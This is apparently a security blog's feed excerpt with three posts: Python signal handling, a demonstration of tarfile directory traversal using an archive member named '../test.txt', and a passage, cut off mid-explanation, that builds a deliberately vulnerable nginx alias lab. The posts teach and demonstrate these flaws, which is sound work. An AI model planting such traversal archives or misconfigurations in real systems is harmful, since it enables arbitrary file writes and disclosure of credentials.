&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;interrupt_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ask&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Handling signal &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Signals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;).&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ask&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;interrupt_handler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ask&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;To confirm interrupt, press ctrl-c again.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Cleaning/exiting...&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# do whatever...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIGINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interrupt_handler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the program should now look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 demo.py
....^CHandling signal 2 (SIGINT).
To confirm interrupt, press ctrl-c again.
...^CHandling signal 2 (SIGINT).
Cleaning/exiting...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead of &lt;code&gt;functools&lt;/code&gt;&amp;rsquo; &lt;code&gt;partial&lt;/code&gt;, we could also use a lambda expression like &lt;code&gt;signal.signal(signal.SIGINT, lambda sig, frame: interrupt_handler(sig, frame, ask=False))&lt;/code&gt;, create a separate function altogether or wrap it in a class. The important thing is just to register a different behavior for the same signal.&lt;/p&gt;
&lt;h2 id="ignoring-signals"&gt;Ignoring signals&lt;/h2&gt;
&lt;p&gt;We still have the problem that repeatably pressing &lt;code&gt;&amp;lt;ctrl-c&amp;gt;&lt;/code&gt; will lead to multiple calls to the same handler, which might be problematic when doing some important cleanup actions, releasing resources, etc.&lt;/p&gt;
&lt;p&gt;A simple way of stopping further calls to the handler is to reset the handler for the signal yet again – this time to ignore interrupts by using the &lt;code&gt;SIG_IGN&lt;/code&gt; handler:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ask&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SIG_IGN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the program now you will see that the &amp;ldquo;Cleaning/exiting&amp;rdquo; part only happens once, even when you keep pressing &lt;code&gt;&amp;lt;ctrl-c&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 &lt;strong&gt;Please note:&lt;/strong&gt; The behavior you are going to implement should always take user expectations and the context of the actions that are being performed by your script into consideration. Depending on what your program does, explicitly ignoring interrupts can also be anything from annoying to dangerous. If an interrupted clean-up is not a big deal, I would recommend that you just register the default handler again before starting your clean-up (remember that &lt;code&gt;signal.signal&lt;/code&gt; returns the previously registered signal handler). This way, the running program can be interrupted again just like anyone would expect.
&lt;/div&gt;

&lt;h2 id="extending-to-other-signals-like-tstp-and-cont"&gt;Extending to other signals like TSTP and CONT&lt;/h2&gt;
&lt;p&gt;Just like we handled the &lt;code&gt;INT&lt;/code&gt; signal above, you can handle other signals in the same way as well.&lt;/p&gt;
&lt;p&gt;For example, if you want your script to also do some cleanup and re-setup (say, for re-establishing connections) when suspended or continued, respectively, you could just register your handler for these signals:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;signal.signal(signal.SIGTSTP, handler)
signal.signal(signal.SIGCONT, handler)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="a-few-caveats-at-the-end"&gt;A few caveats at the end&lt;/h2&gt;
&lt;p&gt;While the above use-cases work just fine, there can be situations where signals are not executed in the way/at the time you might expect. This is due to how Python itself handles the signal, as in it is rather setting a flag that a signal should be handled at the next bytecode instruction than handling it directly at a lower level. As &lt;a href="https://docs.python.org/3/library/signal.html#signal.signal"&gt;the documentation&lt;/a&gt; points out, this might cause a (possibly noticeable) delay until your handler is called (due to a block in the lower-level execution).&lt;/p&gt;
&lt;p&gt;Another behavior to know is that signals are always executed/received in the main thread and must only be set there.&lt;/p&gt;</description></item><item><title>Python tarfile directory traversal</title><link>https://davidhamann.de/2022/09/23/python-tarfile-vulnerability/</link><pubDate>Fri, 23 Sep 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/09/23/python-tarfile-vulnerability/</guid><description>&lt;p&gt;Currently, there&amp;rsquo;s a lot of hype around the behavior of Python&amp;rsquo;s &lt;code&gt;tarfile&lt;/code&gt; module for extracting archives. In short: &lt;code&gt;tarfile&lt;/code&gt; will not sanitize filenames in archives to prevent directory traversal attacks. For example, creating an archive and adding a file with a leading &lt;code&gt;../&lt;/code&gt; will make the &lt;code&gt;extract*&lt;/code&gt; methods create that file in a directory above the current one. This way (or by using an absolute path starting with &lt;code&gt;/&lt;/code&gt;), a file can be written to an arbitrary location (given that the user executing the code has the according write privileges).&lt;/p&gt;
&lt;p&gt;In 2007 this behavior was filed under &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2007-4559"&gt;CVE-2007-4559&lt;/a&gt;. It didn&amp;rsquo;t lead to a patch of the library, but instead the documentation was updated to include:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of &lt;em&gt;path&lt;/em&gt;, e.g. members that have absolute filenames starting with &lt;code&gt;&amp;quot;/&amp;quot;&lt;/code&gt; or filenames with two dots &lt;code&gt;&amp;quot;..&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After the article &lt;a href="https://www.trellix.com/en-us/about/newsroom/stories/research/tarfile-exploiting-the-world.html"&gt;Exploiting the World With a 15-Year-Old Vulnerability&lt;/a&gt; and &lt;a href="https://www.trellix.com/en-us/about/newsroom/news/news-detail.html?news_id=10cb07fa-6837-48b8-8e99-d58a7526eff3"&gt;Trellix Launches Advanced Research Center, Finds Estimated 350K Open-Source Projects at Risk to Supply Chain Vulnerability&lt;/a&gt; by Trellix this behavior is now on everybody&amp;rsquo;s radar again.&lt;/p&gt;
&lt;h2 id="how-does-it-work"&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;The behavior is fairly easy to demonstrate.&lt;/p&gt;
&lt;p&gt;First, create a demo file (&lt;code&gt;test.txt&lt;/code&gt;). Then, create an archive with that file but specify an adjusted name to be used in the archive (&lt;code&gt;../test.txt&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;tarfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;my_archive.tar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w:xz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arcname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;../test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, give that file to a Python application that extracts tar files, for example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;tarfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;my_archive.tar&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extractall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the application will extract &lt;code&gt;test.txt&lt;/code&gt; into the directory above the current directory. By adjusting the path in &lt;code&gt;arcname&lt;/code&gt; you can essentially place the file anywhere you want, given you are allowed to write there. Overwriting critical system files, writing executables, etc. is, of course, all potentially possible.&lt;/p&gt;
&lt;h2 id="is-it-a-vulnerability-and-is-every-extract-use-immediately-vulnerable"&gt;Is it a vulnerability and is every extract use immediately vulnerable?&lt;/h2&gt;
&lt;p&gt;The library basically does what the documentation says it does and works according to specifications. While secure defaults are generally preferred, I&amp;rsquo;m not sure I would classify this as a vulnerability in the library per se, but more so in the projects using the library&amp;rsquo;s &lt;code&gt;extract*&lt;/code&gt; methods without additional member checks.&lt;/p&gt;
&lt;p&gt;Still, having an explicit option in Python&amp;rsquo;s &lt;code&gt;tarfile&lt;/code&gt; to allow absolute paths (or those containing &lt;code&gt;..&lt;/code&gt;) like BSD/GNU &lt;code&gt;tar&lt;/code&gt;&amp;rsquo;s &lt;code&gt;-P&lt;/code&gt; option would certainly be desirable as it would allow developers to explicitly (or better implicitly) enable these protections. After all, not everybody reads the docs :-)&lt;/p&gt;
&lt;p&gt;The above mentioned &lt;code&gt;tar&lt;/code&gt; implementations either reject or change the invalid paths and you get a warning like &lt;code&gt;tar: Removing leading ../../../../../../../../../' from member names&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While secure defaults are generally better and it&amp;rsquo;s a good idea to review your existing code for &lt;code&gt;tarfile&lt;/code&gt; usage and check if any externally controllable files can reach the extract methods, I&amp;rsquo;m always a bit skepitcal about sentences like &amp;ldquo;a vulnerability estimated to be present in over 350,000 open-source projects and prevalent in closed-source projects&amp;rdquo;. Resulting news headlines then quickly come up with something like &lt;a href="https://www.bleepingcomputer.com/news/security/unpatched-15-year-old-python-bug-allows-code-execution-in-350k-projects/"&gt;Unpatched 15-year old Python bug allows code execution in 350k projects&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are surely a number of affected projects where the described behavior can cause a lot of trouble. But, generally, not &lt;em&gt;every&lt;/em&gt; use of the extract methods will be with files that can be controlled by an attacker and thus not every call with an unsanitized archive can be exploited. And of those that &lt;em&gt;can&lt;/em&gt; be exploited, not every case will lead to immediate remote code execution.&lt;/p&gt;
&lt;p&gt;Funny side note: I have seen this issue multiple times deliberately implemented in CTF challenges in the past.&lt;/p&gt;</description></item><item><title>nginx alias misconfiguration allowing path traversal</title><link>https://davidhamann.de/2022/08/14/nginx-alias-traversal/</link><pubDate>Sun, 14 Aug 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/08/14/nginx-alias-traversal/</guid><description>&lt;p&gt;I recently came across an nginx server that had a vulnerable alias configuration which allowed anyone to read files outside the intended directory. In the following post I will describe the misconfiguration and provide demo files so that you can experiment with it yourself.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 The general issue was originally highlighted a few years ago in a BlackHat presentation (&lt;a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf"&gt;Breaking Parser Logic!, Orange Tsai&lt;/a&gt;) and apparantly first shown even earlier. While the linked presentation only has a couple of slides on this particular issue it&amp;rsquo;s worth checking out in full.
&lt;/div&gt;

&lt;h2 id="the-docker-setup"&gt;The docker setup&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say we have a PHP application that should be served through nginx. To quickly get things running we configure our setup via the following &lt;code&gt;docker-compose.yml&lt;/code&gt; file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;version: &amp;#34;3.7&amp;#34;

services:
 web:
 image: nginx:alpine
 ports:
 - 8081:80
 networks:
 - internal
 volumes:
 - ./webapp:/var/www/webapp
 - ./nginx.conf:/etc/nginx/conf.d/default.conf
 depends_on:
 - php

 php:
 image: php:fpm-alpine
 volumes:
 - ./webapp:/var/www/webapp
 networks:
 - internal

networks:
 internal:
 driver: bridge
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have two services, &lt;code&gt;web&lt;/code&gt; (nginx) and &lt;code&gt;php&lt;/code&gt;, mount our php source code and &lt;code&gt;nginx.conf&lt;/code&gt; and have the services on the same &lt;code&gt;internal&lt;/code&gt; network.&lt;/p&gt;
&lt;p&gt;Our directory structure will look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── docker-compose.yml
├── nginx.conf
└── webapp
 ├── app
 │   ├── db.php
 │   └── webroot
 │   └── index.php
 └── static
 └── sample.png
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-nginx-config"&gt;The nginx config&lt;/h2&gt;
&lt;p&gt;Our &lt;code&gt;nginx.conf&lt;/code&gt; file will be a fairly simple and standard-looking one which already has the issue baked in (can you see it?):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;server {
 server_name _;

 root /var/www/webapp/app/webroot;
 index index.php index.html index.htm;

 access_log /var/log/nginx/php-access.log;
 error_log /var/log/nginx/php-error.log;

 location /assets {
 alias /var/www/webapp/static/;
 }

 location / {
 try_files $uri $uri/ /index.php?$query_string;
 location ~ \.php$ {
 include fastcgi_params;
 fastcgi_pass php:9000;
 fastcgi_index index.php;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 }
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-web-app"&gt;The web app&lt;/h2&gt;
&lt;p&gt;Our demo web app is really just for demonstration purposes and doesn&amp;rsquo;t do anything useful.&lt;/p&gt;
&lt;p&gt;We have &lt;code&gt;webapp/app/db.php&lt;/code&gt; (to have a file outside of the webroot that contains some credentials):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;appuser&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;secret&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mysql:host=localhost;dbname=test&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then our &lt;code&gt;index.php&lt;/code&gt; in the webroot folder to show an intended output of the PHP application:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Here is the webroot&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="launch-the-application-and-see-the-issue"&gt;Launch the application and see the issue&lt;/h2&gt;
&lt;p&gt;Now that we have all necessary demo files set up, we can launch our containers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker-compose up --build
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://127.0.0.1:8081&lt;/code&gt; should now return &lt;code&gt;Here is the webroot&lt;/code&gt;, which is the output of &lt;code&gt;index.php&lt;/code&gt; in the webroot folder.&lt;/p&gt;
&lt;p&gt;As seen in the above nginx config we also have an &lt;code&gt;/assets&lt;/code&gt; location pointing to the &lt;code&gt;/static&lt;/code&gt; directory. Navigating to &lt;code&gt;http://127.0.0.1:8081/assets/sample.png&lt;/code&gt; gives us the sample image, as expected.&lt;/p&gt;
&lt;p&gt;So what&amp;rsquo;s the issue?&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/assets&lt;/code&gt; location directive has no trailing slash and nginx will thus only match &lt;code&gt;/assets&lt;/code&gt; and then append whatever is in the request to the final destination path.&lt;/p&gt;
